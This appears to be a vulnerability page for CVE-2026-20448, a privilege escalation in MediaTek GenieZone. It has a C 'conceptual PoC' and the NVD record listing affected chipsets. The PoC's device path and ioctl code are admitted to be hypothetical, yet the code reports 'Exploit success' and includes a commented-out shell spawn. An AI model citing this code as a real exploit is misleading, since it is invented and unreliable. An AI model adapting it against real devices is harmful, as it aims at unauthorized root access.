CVE-2026-20448

/* * Conceptual PoC for CVE-2026-20448 * Target: MediaTek GenieZone * Type: Local Privilege Escalation * Pre-condition: Attacker must have System privilege (uid 1000) */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical device path and IOCTL command for GenieZone #define DEVICE_PATH "/dev/geniezone" #define GZ_IOCTL_PRIV_ESCALATE 0x8001 int main() { int fd; printf("[*] CVE-2026-20448 PoC: MediaTek GenieZone LPE\n"); // 1. Open the vulnerable device fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device. Ensure running with System privilege."); return -1; } printf("[+] Device opened successfully."); // 2. Trigger the missing permission check // The vulnerability allows System users to perform actions usually restricted to Kernel/Root printf("[*] Attempting to exploit missing permission check..."); if (ioctl(fd, GZ_IOCTL_PRIV_ESCALATE, NULL) != 0) { perror("[-] Exploit failed"); close(fd); return -1; } printf("[+] Exploit success! Privileges escalated."); // 3. Verify privileges (e.g., by spawning a shell) // system("/system/bin/sh"); close(fd); return 0; }

{"cve": {"id": "CVE-2026-20448", "sourceIdentifier": "[email protected]", "published": "2026-05-04T07:15:59.500", "lastModified": "2026-05-07T12:43:11.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In geniezone, there is a possible escalation of privilege due to a missing permission check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10708513; Issue ID: MSV-6281."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6765_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "43327018-578C-4997-81B9-6DBD3679E40C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:*", "matchCriteriaId": "43E779F6-F0A0-4153-9A1D-B715C3A2F80E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6768_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "16EF9082-FC9B-4790-A79D-AA62C62E4B88"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:*", "matchCriteriaId": "06CD97E1-8A76-48B4-9780-9698EF5A960F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6789_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "524AB96D-4C15-47A6-B276-6B873796E8F3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6789:-:*:*:*:*:*:*:*", "matchCriteriaId": "8B9B0D82-82C1-4A77-A016-329B99C45F49"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6877_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "07F67D59-75F0-4056-BCCE-F7888912CAB3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6897_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A04EA650-730F-4E5D-A0E0-90570CACDD5E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6899_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BEBA484A-EC07-4D3D-80CD-BDE9E7807F71"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6989_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "E495B8EB-C9B5-4F32-AEE2-D2C41C0B292B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7DE6B2-66D9-4A3E-B15F-D56505559255"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6991_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D9DD2119-39E8-4A9C-8E2A-8FB7F92A1001"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:mt6993_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "FAEB2240-FF37-4CBE-BBEF-8A8281153646"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6993:-:*:*:*:*:*:*:*", "matchCriteriaId": "57E92BE0-5E65-4770-8E1A-0E5D07A38164"}]}]}, {"operator": ... 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